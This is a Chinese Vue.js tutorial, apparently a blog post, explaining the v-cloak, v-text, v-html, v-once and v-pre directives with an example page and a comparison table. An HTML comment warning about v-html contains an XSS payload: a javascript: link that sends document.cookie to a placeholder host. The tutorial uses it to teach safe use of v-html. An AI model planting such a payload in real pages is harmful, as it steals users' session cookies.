Vue基础知识-Vue中v-cloak、v-text、v-html、v-once、v-pre指令详解

完整示例代码

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=, initial-scale=1.0">
    <title>Document</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <!--
        v-closk:Vue实例创建完毕接管容器时会删掉v-cloak属性。该属性配合css代码可以解决如{{XX}}渲染不及时的情况
        <style>
            [v-cloak]{
                display:none
            }
        </style>
    -->
    <div id="root" v-cloak>
        <!-- 拿到name的值替换标签中间的内容,当作文本解析 -->
        <h2 v-text="name"></h2>
        <!-- 
            拿到name的值替换标签中间的内容,当作html解析。存在安全性问题。
            例如贴吧开发人员使用v-html渲染评论信息。不法分子提交评论:
            <a href=javascript:location.href='www.XSS.com?+document.cookie'>来!</a>,
         -->
        <h2 v-html="name"></h2>

       <!--  v-once:初次动态渲染后被视为静态内容。即只渲染一次 -->
        <h2 v-once>初始化n值:{{n}}</h2>
        <h2>n值:{{n}}</h2>
        <input type="button" @click="n++" value="n++"/>
        <!--  v-pre:若没有使用指令语法、插值语法等。可使用该指令跳过vue解析过程 -->
        <h2 v-pre>
            n值:{{n}}
        </h2>
    </div>
</body>
    <script>
        const vm = new Vue({
            el:'#root',
            data() {
                return {
                    name:'<font color = "red">张三</font>',
                    n:1
                }
            }
        })
    </script>
    
</html>

指令详解与对比

1. v-cloak:解决插值表达式闪烁问题

作用 :在 Vue 实例未完成初始化时,隐藏带有插值表达式的元素,避免页面短暂显示{``{ }}符号。

使用方法

  1. 在需要处理的元素上添加v-cloak属性
  2. 配合 CSS 隐藏该属性:[v-cloak] { display: none; }

工作原理

  • Vue 实例初始化完成并接管容器后,会自动移除v-cloak属性
  • 未初始化时,元素因[v-cloak]样式被隐藏,初始化后显示正常内容

适用场景

  • 页面加载较慢时,防止插值表达式{``{ }}被用户短暂看到
  • 尤其适合网络环境较差或页面结构复杂的场景

2. v-text:文本渲染指令

作用:将数据以纯文本形式插入到元素中,替换元素的全部内容。

特点

  • 与插值表达式{``{ }}功能类似,但会覆盖元素内的原有内容
  • 不会解析 HTML 标签,只会当作普通文本处理
  • 渲染速度比插值表达式稍快(因为解析过程更简单)

适用场景

  • 需要完全替换元素内容且不需要解析 HTML 的场景
  • 对渲染性能有轻微要求的简单文本展示

3. v-html:HTML 渲染指令

作用:将数据作为 HTML 字符串解析并插入到元素中,替换元素的全部内容。

特点

  • 会解析数据中的 HTML 标签并渲染
  • 同样会覆盖元素内的原有内容
  • 存在安全风险,可能导致 XSS 攻击

适用场景

  • 渲染可信的 HTML 内容(如后端返回的安全 HTML 片段)
  • 需要动态生成包含标签的内容时使用

4. v-once:静态内容指令

作用:使元素或组件只渲染一次,后续数据变化不会导致重新渲染。

特点

  • 首次渲染后,元素会被视为静态内容
  • 即使依赖的数据发生变化,也不会更新
  • 可以提高性能(减少不必要的重新渲染)

适用场景

  • 展示固定不变的静态内容
  • 数据一旦初始化就不会再变化的场景
  • 优化性能,减少不必要的渲染

5. v-pre:跳过编译指令

作用:跳过 Vue 对元素及其子元素的编译过程,直接显示原始内容。

特点

  • 元素内的插值表达式{``{ }}不会被解析
  • 元素内的 Vue 指令也不会被执行
  • 可以提高编译性能(跳过不需要编译的内容)

适用场景

  • 展示包含{``{ }}符号的内容(如 Vue 代码示例)
  • 页面中存在大量不需要 Vue 处理的静态内容
  • 优化大型页面的编译速度

指令对比总结

指令 核心功能 特点 主要用途 注意事项
v-cloak 隐藏未编译内容 初始化后自动移除 解决插值闪烁 需要配合 CSS 使用
v-text 文本渲染 覆盖内容,不解析 HTML 简单文本展示 性能略优于插值表达式
v-html HTML 渲染 覆盖内容,解析 HTML 渲染可信 HTML 禁止用于用户输入内容
v-once 静态渲染 只渲染一次 展示不变内容 可优化性能
v-pre 跳过编译 不解析指令和插值 展示原始代码 提高编译效率
相关推荐
J***Q2922 小时前
Vue数据可视化
前端·vue.js·信息可视化
JIngJaneIL2 小时前
社区互助|社区交易|基于springboot+vue的社区互助交易系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·论文·毕设·社区互助
ttod_qzstudio3 小时前
深入理解 Vue 3 的 h 函数:构建动态 UI 的利器
前端·vue.js
芳草萋萋鹦鹉洲哦3 小时前
【elemen/js】阻塞UI线程导致的开关卡顿如何优化
开发语言·javascript·ui
_大龄3 小时前
前端解析excel
前端·excel
1***s6323 小时前
Vue图像处理开发
javascript·vue.js·ecmascript
一 乐4 小时前
应急知识学习|基于springboot+vue的应急知识学习系统(源码+数据库+文档)
数据库·vue.js·spring boot
槁***耿4 小时前
JavaScript在Node.js中的事件发射器
开发语言·javascript·node.js
一叶茶4 小时前
移动端平板打开的三种模式。
前端·javascript
前端大卫4 小时前
一文搞懂 Webpack 分包:async、initial 与 all 的区别【附源码】
前端